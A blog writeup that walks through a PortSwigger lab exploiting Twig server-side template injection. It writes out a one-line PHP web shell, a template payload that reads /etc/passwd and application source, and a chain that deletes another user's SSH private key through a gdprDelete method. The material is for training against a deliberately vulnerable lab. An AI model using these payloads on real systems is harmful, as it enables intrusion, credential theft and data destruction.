siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Server-side template injection with a custom exploit | Dec 24, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Server-side template injection with a custom exploit! Without further ado, let’s dive in.

Background

This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Login as user wiener:

As you can see, in my account page, we can change our preferred name.

In previous lab, we found that this function is vulnerable to Server-Side Template Injection(SSTI).

To exploit this, we can intercept Submit request via Burp Suite:

Then, go to one of those posts in the home page:

And leave a comment:

Now, let’s try to trigger a SSTI vulnerability via changing the blog-post-author-display parameter value:

As you can see, our username changed to a SSTI payload, and 7 * 7 is 49.

Next, we need to identify which template engine is the web application using.

To do so, I’ll trigger an error:

In the error output, we can see that it’s using a template engine called Twig, which is written in PHP.

In PayloadAllTheThings, we can try to get code execution:

However, none of them are working:

Let’s go to Twig offical website:

In the home page, we can already see something interesting:

Hmm… Sandbox mode. Looks like we need to do some sandbox bypass.

Now, we have access to the user object:

This will be very helpful for us.

Let’s go back to my account page:

As you can see, we can upload an avatar image.

Let’s try to upload a PHP web shell:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Server-Side-Template-Injection]
└─# echo '<?php system($_GET["cmd"]); ?>' > webshell.jpg.php

Hmm… This PHP file(/home/carlos/User.php) checks the file MIME type is an image or not.

Also, it’s using an object user’s method called setAvatar()!

Let’s try to upload a valid image file:

Armed with above information, we can go back to the post comment:

Notice that our avatar has been changed.

Now, what if I call method setAvatar() in object user, and try to read /etc/passwd?

Hmm… Too few arguments error.

The error output when we’re uploading a PHP webshell, it also shows us it needs 2 arguments: filename and MIME type.

Let’s supply MIME type argument too:

user.setAvatar('/etc/passwd','image/png')

Although it looks like an error image, we can download it:

Note: You can also send a GET request to /avatar?avatar=wiener to download it.

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Server-Side-Template-Injection]
└─# cat /home/nam/Downloads/avatar 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
[...]

Boom! We have local file read!

Hmm… Now we have local file read, but how to delete carlos’s private SSH key(id_rsa)?

If we have local file read, let’s read the source code of /home/carlos/User.php!

user.setAvatar('/home/carlos/User.php','image/png')

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Server-Side-Template-Injection]
└─# curl https://0ad70054043a656fc360ed500022001c.web-security-academy.net/avatar --cookie "session=xsy5TfCl8CHOw6Q2GAm9MP741h7RiHrV" --get --data-urlencode "avatar=wiener" -o User.php

User.php:

<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>

At the first glance, I immediately find something weird:

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }

Let’s take a look at the gdprDelete() method to delete a file:

Armed with above information, we can finally delete carlos’s private SSH key(id_rsa)!

To do so, we’ll need to set the avatar file to /home/carlos/.ssh/id_rsa:

user.setAvatar('/home/carlos/.ssh/id_rsa','image/png')

Then invoke method user.gdprDelete():

We did it!

What we’ve learned:

  1. Server-side template injection with a custom exploit